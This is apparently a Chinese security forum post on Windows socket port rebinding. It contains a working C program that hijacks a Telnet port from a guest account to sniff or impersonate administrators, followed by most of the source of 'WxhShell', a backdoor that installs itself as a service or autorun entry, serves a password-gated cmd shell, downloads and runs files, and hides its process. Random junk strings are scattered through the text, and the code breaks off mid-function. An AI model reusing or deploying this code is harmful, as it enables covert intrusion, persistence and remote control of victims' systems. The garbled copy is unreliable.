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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zs|m_O G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B%I<6E[D z7s}-w, saddr.sin_family = AF_INET; |/%X8\ S[e> 8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ly-}HW ( AIG5a$}& bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gX~lYdA qQwf#& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }vEMG-sxX S=a>rnF 这意味着什么?意味着可以进行如下的攻击: >aAsUL5W \'6%Ld5km 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b?j\YX[e P]0/ S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aeE~[m `hDH7u!U. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #2dH2k\F .k"unclT0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6(/*E=bOKV K*P:FCz 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )@],0yL &S=xSs:q. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >{{0odBF P>hR${KE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hyb_>n fp?/Dg"49. #include R9-Uoc/ #include 9*S9~ #include 5i-VnG
#include .|i/
a%J DWORD WINAPI ClientThread(LPVOID lpParam); ig ^x%!; int main() ! JauMR { UmL Boy&* WORD wVersionRequested; eWr2UXv$ DWORD ret; :j`4nXm WSADATA wsaData; X`A+/{ H BOOL val; :{ Lihe~\ SOCKADDR_IN saddr; ^g=j`f[T SOCKADDR_IN scaddr; I`nC\%g int err; >W6?!ue_ SOCKET s; skF}_ SOCKET sc; fuT Bh6w& int caddsize; a(AYY<g HANDLE mt; /<k]mY cu DWORD tid; m>f8RBp]' wVersionRequested = MAKEWORD( 2, 2 ); +ZR>ul-c err = WSAStartup( wVersionRequested, &wsaData ); ojx2[a\ if ( err != 0 ) { ~{ucr#]C printf("error!WSAStartup failed!\n"); FK@Gd)( return -1; 1 fTf+P } ;NF:98 saddr.sin_family = AF_INET; ZU;nXqjc tu^C<MV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G5NAwpZf Ry40:;MYN saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $lg{J$
h8 saddr.sin_port = htons(23); A}[x))r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?>NX}~2cf { s)#TT9BbV printf("error!socket failed!\n"); T%yGSk return -1; <=!FB8 . } oxug
val = TRUE; L|p+;ex //SO_REUSEADDR选项就是可以实现端口重绑定的 24k;.o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Bo;{ QoB {
E-deXY printf("error!setsockopt failed!\n"); \F14]`i return -1; -d[Gy-
J } 13A~."b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jd.w7.8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v,Z?pYYo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x b!&'cw a28`)17z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [&)*jc16 { @+sYwlA~ ret=GetLastError(); 8{ )N%r printf("error!bind failed!\n"); ;P^}2i[q>[ return -1; Nv=&gOy= } Oo/@A_JO@ listen(s,2); Pk&$#J_ while(1) W$J@|i { h>A~yDT[ caddsize = sizeof(scaddr); AG|:mQO //接受连接请求 /k KVIlO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TiKfIv if(sc!=INVALID_SOCKET) LC qWL1 { cvC 7#i[G mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _opB,,G if(mt==NULL) \"9ysePI { CYdYa| printf("Thread Creat Failed!\n"); s0'6r$xj break; SP4(yJy& } t\O#5mo } SmV}Wf CloseHandle(mt); *t`=1Ioj } k/i&e~! \ closesocket(s); Ej<`HbJ'Q WSACleanup(); .SDE6nvbW return 0; {6mFI1;q } >gDKkeLD DWORD WINAPI ClientThread(LPVOID lpParam) dB8 e { @&GY5<&b SOCKET ss = (SOCKET)lpParam; G@U}4'V9 SOCKET sc; 91UC>]}H unsigned char buf[4096]; e"ClG/M_XS SOCKADDR_IN saddr; j07b!j:"\} long num; } a!HbH DWORD val; ->W rBO DWORD ret; L$?YbQo7 //如果是隐藏端口应用的话,可以在此处加一些判断 0y%s\,PsT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 S~B{G T\M saddr.sin_family = AF_INET; b@B\2BT saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |AS9^w saddr.sin_port = htons(23); /5~j"|
U' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OG^#e+ { K<v:RbU|[1 printf("error!socket failed!\n"); T+>W(w
i return -1; [x0*x~1B } w}U'>fj val = 100; WL;2&S/{@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a[J_H$6H! { <FwAV=}6p ret = GetLastError(); "YN6o_*] return -1; dK]#.. } %Lom#:L' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (R!`Z% { ,#hNHFa'JH ret = GetLastError(); X]s="^ return -1; -ug-rdXV } 1_>w|6;e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7|<-rjz^ { *LQt=~ printf("error!socket connect failed!\n"); kQ|phtbI closesocket(sc); "sed{? closesocket(ss); X\5EF7:S return -1; gH0Rd
WX } _8wT4|z5 while(1) EE*FvI` { X3l6b+p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;pG5zRe //如果是嗅探内容的话,可以再此处进行内容分析和记录 <<&SyP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cUwR6I9 num = recv(ss,buf,4096,0); `m\ ?gsw7 if(num>0) R.rE+gxO1 send(sc,buf,num,0); @4>?Y=# else if(num==0) )jMk~;'r break; Zig3WiD& num = recv(sc,buf,4096,0); V5+|H1= if(num>0) 9L>ep&u)^ send(ss,buf,num,0); uExYgI`<%& else if(num==0) !X1
KOG break; =g)SZK } Nk?L<' closesocket(ss); ht*;,[ea closesocket(sc); 5G=fJAG return 0 ; ZBjb f_M: } O*9d[jw[ NYPjN9L I9YMxf>nI ========================================================== j:0<
tjE ~(eD 4" 下边附上一个代码,,WXhSHELL vH@b ]E1|^[y ========================================================== -uB*E1|Q 6\m'MV`R! #include "stdafx.h" &zHY0fxX fjHd"!)3 #include <stdio.h> c #include <string.h> >t4<2|!(M #include <windows.h> 1t7T\~+F #include <winsock2.h> UC!"1)~mt` #include <winsvc.h> 2 '8I/>- #include <urlmon.h> Sv[+~co<l Obc wmL #pragma comment (lib, "Ws2_32.lib") u9{Z*w3L7 #pragma comment (lib, "urlmon.lib") 2Iq*7n:v0 6t4{aa!L|9 #define MAX_USER 100 // 最大客户端连接数 }KV)F,` #define BUF_SOCK 200 // sock buffer I} \`l+ #define KEY_BUFF 255 // 输入 buffer YGZa##i !uhh_3RH #define REBOOT 0 // 重启 MYUL y2) #define SHUTDOWN 1 // 关机 \ZC0bHsA (~^KXJ{-> #define DEF_PORT 5000 // 监听端口 7+m.:~H3} n0w0]dJ&lc #define REG_LEN 16 // 注册表键长度 xfA@GYCfT #define SVC_LEN 80 // NT服务名长度 Xnxb.{C #ihHAiy3 // 从dll定义API uC"Gm;0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `Wu.wx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JgB"N/Oz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <'O|7.
^^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]GzfU'fOn| #wF6Wx iG // wxhshell配置信息 OJs
s struct WSCFG { n&FRjq9y int ws_port; // 监听端口 -V:7j8 char ws_passstr[REG_LEN]; // 口令 V/J-zH& int ws_autoins; // 安装标记, 1=yes 0=no A~8-{F 31 char ws_regname[REG_LEN]; // 注册表键名 R'aA\k- char ws_svcname[REG_LEN]; // 服务名 8-)@q| char ws_svcdisp[SVC_LEN]; // 服务显示名 }QJ6"s
char ws_svcdesc[SVC_LEN]; // 服务描述信息 CMYkxU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `W %R int ws_downexe; // 下载执行标记, 1=yes 0=no 8b $e) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
1Pd2% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S,#UA%V" nk+9J#Gs }; 0;" >. cB7'>L // default Wxhshell configuration Y%8[bL$
d struct WSCFG wscfg={DEF_PORT, _%<qZT "xuhuanlingzhe", @&2#kO~= 1, (?z"_\^n/ "Wxhshell", OZno 3Hn "Wxhshell", Edl .R}&1 "WxhShell Service", zC!Pb{IaH "Wrsky Windows CmdShell Service", N)X51;+ "Please Input Your Password: ", t,qz%J&a 1, 4M>E QF& " http://www.wrsky.com/wxhshell.exe", `YK#m4gc "Wxhshell.exe" 0|~3\e/QV }; Oy yE0 ?I 7hbqQd // 消息定义模块 C oO0~q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kk/cI6`W char *msg_ws_prompt="\n\r? for help\n\r#>"; 't3nh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <s5s<q2 char *msg_ws_ext="\n\rExit."; h\*I*I8C char *msg_ws_end="\n\rQuit."; h5@JS1cY char *msg_ws_boot="\n\rReboot..."; qa5 T(:8 char *msg_ws_poff="\n\rShutdown..."; u=sZFr@m[ char *msg_ws_down="\n\rSave to "; 6"La`}B(T8 j6BFh=?D char *msg_ws_err="\n\rErr!"; =T|m#*{.L char *msg_ws_ok="\n\rOK!"; f/g-b]0 Cx
;n#dn* char ExeFile[MAX_PATH]; [K `d?& int nUser = 0; 0[fqF^HEN HANDLE handles[MAX_USER]; ^vo]bq7 int OsIsNt; Med0O~T% ?yAjxoE~? SERVICE_STATUS serviceStatus; yo#fJ` SERVICE_STATUS_HANDLE hServiceStatusHandle; {_X&{dZLX D<xDj#Z~1 // 函数声明 $~:|Vj5iZ\ int Install(void); d7v_> int Uninstall(void); x$24Nc1a' int DownloadFile(char *sURL, SOCKET wsh); vkW]?::Cfd int Boot(int flag); X&.LX void HideProc(void); hi9@U]H# int GetOsVer(void); CR`}{?2H int Wxhshell(SOCKET wsl); R TeG\U void TalkWithClient(void *cs); ,%,.c^- int CmdShell(SOCKET sock); 9C\@10 D int StartFromService(void); i,y7R?-K int StartWxhshell(LPSTR lpCmdLine); KgEfhO$W ;Y`k-R:E6A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X8(WsN VOID WINAPI NTServiceHandler( DWORD fdwControl ); )[5 .*g@ f=nVK4DuZ // 数据结构和表定义 i
UW.$1l SERVICE_TABLE_ENTRY DispatchTable[] = G0v<`/|>} { z229:L6" {wscfg.ws_svcname, NTServiceMain}, w&LL-~KI+ {NULL, NULL} R5MY\^H/A }; {&.?u1C.\ 4$8\IJ7G // 自我安装 S{c;n*xf int Install(void) ??=7pFm { ph=U<D4 char svExeFile[MAX_PATH]; jW_FaPW(p HKEY key; `rI[ strcpy(svExeFile,ExeFile); |=ljN7]! nWv6I& // 如果是win9x系统,修改注册表设为自启动 M7SVD[7~HM if(!OsIsNt) { uzWz+atH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G>0hi1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [USE&_RN RegCloseKey(key); o'p[G]NQ1o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!O~ f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^0T[V-PgiD RegCloseKey(key); \UBQ:+3 return 0; [Xo}CU }
FK| q* } '1Q [& } =bB7$#al else { 73kL>u Fx' E"d // 如果是NT以上系统,安装为系统服务 XGMO~8 3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,SSq4 if (schSCManager!=0) R%^AW2 { K!_''Fg SC_HANDLE schService = CreateService "\1QJ ( L=5Fvm schSCManager, t+Hx&_pMj wscfg.ws_svcname, %%f(R7n wscfg.ws_svcdisp, m6M:l"u SERVICE_ALL_ACCESS, Zywx.@! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x>~.cey SERVICE_AUTO_START, =CjN=FM SERVICE_ERROR_NORMAL, nwPU{4#l< svExeFile, UvM_~qo NULL, q.NvwJ NULL, ,N`D{H"F NULL, #Vh$u%q3 NULL, ~F=,)GE NULL odC}RdN ); +a((,wAN2 if (schService!=0) ?<-ins { oY0`igH CloseServiceHandle(schService); UqZ#mK i CloseServiceHandle(schSCManager); MuQ'L=i J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yq0=4#_ strcat(svExeFile,wscfg.ws_svcname); 'K|tgsvgme if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iZDZ/hohv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V-TWC@Y" RegCloseKey(key); c9)5G+
return 0; ,Frdi>7 ~ } )m[dfeqd + } rLOdQN CloseServiceHandle(schSCManager); 5RhP^:i@C } +2S#3m?1 } )90K^$93" (k&r^V/= return 1; 7T}r]C. } YN 31Lo It3. // 自我卸载 mY !LGN int Uninstall(void) <<.%Gk { (YH/#n1"{ HKEY key; (GI]Uyn hz~jyH.h_ if(!OsIsNt) { g?d*cwtU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a#4 'X* RegDeleteValue(key,wscfg.ws_regname); ![a~y`<K, RegCloseKey(key); rYwUD7ip if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '`fz|.|cbB RegDeleteValue(key,wscfg.ws_regname); CxRhMhvP RegCloseKey(key); Y;6%pm $ return 0; 7O.{g } 1I -LGe[Q } +F3`?6UXz } hCKx%&[^7 else { VPqMbr"L[ zS+_6s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !wZ9P if (schSCManager!=0) W:z!fh- { #8[iqvE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7f\@3r if (schService!=0) A T'P=)F@ { #cD20t if(DeleteService(schService)!=0) { gaXKP1m^ CloseServiceHandle(schService); 9 ?~Y CloseServiceHandle(schSCManager); iu(+
N~ return 0; !@vM@Z" } K:g:GEDgf CloseServiceHandle(schService); lTn~VsoRZ } ~ok i s CloseServiceHandle(schSCManager); Om=*b#k } ,Y3wXmG } I_h{n{,sr X0"f>.Lg return 1; hpVu
} 7yK1Q_XY> 8${Yu // 从指定url下载文件 eX@7f!uz int DownloadFile(char *sURL, SOCKET wsh) J\ V.J/ { 3Ta<7tEM HRESULT hr; {BlKVsQ char seps[]= "/"; Ud8*yB char *token; ';hTGLq\X char *file; oz- k_9% char myURL[MAX_PATH]; 9?_ybO~Oq char myFILE[MAX_PATH]; tuiQk=[c bn$}U.m$- strcpy(myURL,sURL); j |tu|Q token=strtok(myURL,seps); ^,M&PP6 while(token!=NULL) U.B=%S { {k}EWV file=token; j$8i!C token=strtok(NULL,seps); q
T pvz } Y4B<]C4 J|BZ{T}d GetCurrentDirectory(MAX_PATH,myFILE); VF<C#I strcat(myFILE, "\\"); 6(X5n5C strcat(myFILE, file); >.-$?2 send(wsh,myFILE,strlen(myFILE),0); X;?Z_3I:5 send(wsh,"...",3,0); *(4TasQu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y/1,%8n if(hr==S_OK) o-D,K dY return 0; Iu -CXc else AIXvS*Y, return 1; _\tGmME37 GK/Q]}Q8pZ } U8b1
sz J '^xDIZX // 系统电源模块 3oCw(Ff int Boot(int flag) ",
:Ta| { M:~/e8Xv HANDLE hToken; /<s$Am TOKEN_PRIVILEGES tkp; 6!3Jr I:qfB2tL)O if(OsIsNt) { n6a*|rE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 426)H_wx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /@H2m\vBX tkp.PrivilegeCount = 1; joN}N }U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z{w{bf1&A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "k${5wk#Fl if(flag==REBOOT) { yeCR{{B/' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <9s=K\- return 0; f2#9E+IQ } R "&(Ae?LR else { /Lc=
K< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4P>tGO&*x return 0; Uq,M\V\ } N&0MA } Vd{h|=J else { IFX|"3[$ if(flag==REBOOT) { ] _/d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YW}1iT/H return 0; Iy}r'#N } Qn7l-:`? else { 1x0 7ua@(v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .=>T yq return 0; P'Fy,fNg } hao0_9q+ } |-zwl8E sX&M+'h return 1; S%ri/}qI[{ } :`Kr|3bQ @HfWAFT // win9x进程隐藏模块 RT45@
void HideProc(void) O8+[)+6^ { %(-YOTDr -%=StWdb
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i;0`d0^ if ( hKernel != NULL ) ,<lxq<1I { OU(z};Is6Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?CS
jn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kCR)k=* FreeLibrary(hKernel); '^l/e: (H3 } ]k mOX gkpNT) return; wYf=(w\c } ]
%*970 y0qE::/H$ // 获取操作系统版本 vtFA#})~ int GetOsVer(void) oT5xe[{yj { Ss u{Lj OSVERSIONINFO winfo; SPV'0* Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ru`;cXa, GetVersionEx(&winfo); T^a {#B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 13Z6dhZu return 1; ;f-|rC_" else W4CI=94 return 0; $/C<^}A } 71tMX[x ]tZ5XS // 客户端句柄模块 #{0DpSzE5 int Wxhshell(SOCKET wsl) 81_3{OrE< { D,eJR(5I SOCKET wsh; Snt=Hil` struct sockaddr_in client; H/V%DO DWORD myID; |?Q(4(D`* u,F d[[t while(nUser<MAX_USER) nRQIrUNq { xgR* j int nSize=sizeof(client); }bznx[4?I wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L>UYR++<6 if(wsh==INVALID_SOCKET) return 1;
A!k} =DxJt7J1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y`Pp"!P"O if(handles[nUser]==0) U8-9^}DBA closesocket(wsh); ~+>M,LfK else wZa;cg.-q nUser++; (r[<g*+3 } U>;itHW/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?<frU ,{ T *t$ return 0; -R'p^cMA } H>XbqIkL@ %Z{J= // 关闭 socket ~v>w%] void CloseIt(SOCKET wsh) CHpDzG>]4 { %,,h )9 closesocket(wsh); t=\V&, nUser--; wHZ!t,g ExitThread(0); *Kzs(O } @@|E1'c7 s*CKFEb# // 客户端请求句柄 )+t5G>yKK void TalkWithClient(void *cs) :=L[kzX { !P Gow H5RHA^p| SOCKET wsh=(SOCKET)cs; Y)u}+Yg char pwd[SVC_LEN]; SbnVU[ char cmd[KEY_BUFF]; 3}:pD]`h char chr[1]; C6"!'6 W int i,j; 2K*-uT#$~ ]|`gTD6 while (nUser < MAX_USER) { jPU#{Wo# el|t6ZT* if(wscfg.ws_passstr) { ~POeFZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Br~%S?4"o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oh@r0`J]x //ZeroMemory(pwd,KEY_BUFF); 3`9*Hoy0c i=0; PYHm6'5BtB while(i<SVC_LEN) { $PS5xD~@ x#8=drh.:C // 设置超时 ,t+ATaOF fd_set FdRead; r3j8[&B" struct timeval TimeOut; )vU{JY; FD_ZERO(&FdRead); Ic=V: FD_SET(wsh,&FdRead); H+5]3>O-$ TimeOut.tv_sec=8; aY:(0en]& TimeOut.tv_usec=0; k13/yiv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +~fu-%,k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M.8!BB7\8e w|nVK9. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EhFhL4Xdn pwd =chr[0]; 93WYZNpX if(chr[0]==0xd || chr[0]==0xa) { ~v54$#CB pwd=0; iz^wBQ break; R-Fi`#PG2 } hE6tu' i++; ewY[vbF } CQ( @7 |%V.Lae // 如果是非法用户,关闭 socket fBLd5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qBNiuV;* } `X^e}EGWu GC\/B0! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ez$5wY^J send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n#&RY%#` xRY5[=97 while(1) { \QMSka> ?@#}%<yEq ZeroMemory(cmd,KEY_BUFF); Ys_YjlMIbl P~qVr#eU // 自动支持客户端 telnet标准 &"kx(B j=0; 0 j.Sb2 while(j<KEY_BUFF) { JZXc1R| 9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G2^DukK. cmd[j]=chr[0]; nDOIE)# if(chr[0]==0xa || chr[0]==0xd) { oPbD9 cmd[j]=0; @iP6N break; hrL<jcv| } _N:h&uw j++; LuqaGy}>- } IB6]Wj {;}8Z $ // 下载文件 sR9F: if(strstr(cmd,"http://")) { Ii,:+o% send(wsh,msg_ws_down,strlen(msg_ws_down),0); p_AV3 if(DownloadFile(cmd,wsh)) $KKaA{0- send(wsh,msg_ws_err,strlen(msg_ws_err),0); W^N"y& else UJH{vjIv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *@&
"MZ/M } 1wgu%$|d else { Yq^y"rw Zb}PP;O switch(cmd[0]) { g7P1]CZ} <di_2hN // 帮助 i`SF<)M( case '?': { 31*6 ;( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JJ~?ON.H break; _)l %-*Z7p } gCJ'wv)6|% // 安装 84[^#ke case 'i': { r9Z/y*q if(Install()) u7=[~l&L send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'JMa2/7CG else kUUq9me&o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #~x5}8 break; *[5 } tAA7 // 卸载 HIq1/) case 'r': { ]2(c$R
if(Uninstall()) eFio, send(wsh,msg_ws_err,strlen(msg_ws_err),0); @(cS8%wK else xB(:d'1| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x]ti3?w break; <n\.S } `g1Oon_ // 显示 wxhshell 所在路径 ]1&9~TL case 'p': { ~{+{p cO} char svExeFile[MAX_PATH]; I5L7BTe strcpy(svExeFile,"\n\r"); #I?iR3u strcat(svExeFile,ExeFile);
n{t',r50 send(wsh,svExeFile,strlen(svExeFile),0); '| }}og break; _o.Z`] } {K9E% ,w // 重启 c Vn+~m_% case 'b': { V)2_T!e%* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =b7&(x if(Boot(REBOOT)) dNQSbp send(wsh,msg_ws_err,strlen(msg_ws_err),0); B0i}Y-Z else { !_
Q!H2il closesocket(wsh); %d0S-. ExitThread(0); aHC;p=RQ\A } .e"Qv*[^ break; <dL04F } h,>L(=c$O // 关机 ^I{]Um: case 'd': { kMl< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $ t $f1? if(Boot(SHUTDOWN)) =.E(p)fz send(wsh,msg_ws_err,strlen(msg_ws_err),0); gJ.6m&+ else { h`]/3Ma*: closesocket(wsh); &XRFX 5gP ExitThread(0); @6q$Zg/ } l~YNmmv _ break; 3}21bL } n:'BN([]o // 获取shell HiG/(<bs9O case 's': { AfN CmdShell(wsh); f^4*. ~cB closesocket(wsh); d5y2Y/QO ExitThread(0); C[nr> break; ~Ls I<z } -^H5z+"^ // 退出 ~{YgM/c|dt case 'x': { xD#I&. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o'7ju~0L CloseIt(wsh); AtlR!IEUb break;
_CJr6Evs } %GbPrlu // 离开 5vi#ItN}| case 'q': { ;lH,bX~5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); T(UYlLe closesocket(wsh); mzxvfXSF WSACleanup(); iT5SuIv exit(1); -Y=c g; break; |/^aLj^u } 1vs>2` DLa } 6Y)^)dOi } HoE.//b R9/xC7l@ // 提示信息 K}`p_)( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hS{
*l9v7 } ""'eTpe } 2{kfbm-89t UT<bv}(J return; Qz) 8eIO: } tc<M]4- \G=R hx f // shell模块句柄 o>;0NF| } int CmdShell(SOCKET sock) sQAc"S { WFB|lNf& STARTUPINFO si; T{4fa^c2J ZeroMemory(&si,sizeof(si)); 1+tt' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R}X_2"" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jjwMvf.R PROCESS_INFORMATION ProcessInfo; uAS8F=9xP char cmdline[]="cmd"; >?W;>EUH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xb@z7X#O! return 0; FP9<E93br } g~hk-nXL. 8+|V!q // 自身启动模式 q\t>D
_lU int StartFromService(void) *DCNu{6 { i?_D]BY4 typedef struct sx<+ *Trl { zg Y*|{4Sl DWORD ExitStatus; 0S:!Gv+ DWORD PebBaseAddress; qVD!/;l DWORD AffinityMask; @VC9gdO/ DWORD BasePriority; Qv0>Pf ULONG UniqueProcessId; @52=3 ULONG InheritedFromUniqueProcessId; 7R<u=U } PROCESS_BASIC_INFORMATION; RQS:h]?:l m)|.:sj PROCNTQSIP NtQueryInformationProcess; ZYR,8 y aQ&8fteFR static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lDPRn~[#\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hW!@$Ph #D LT-G0 HANDLE hProcess; h[je _^5 PROCESS_BASIC_INFORMATION pbi; B,vHn2W
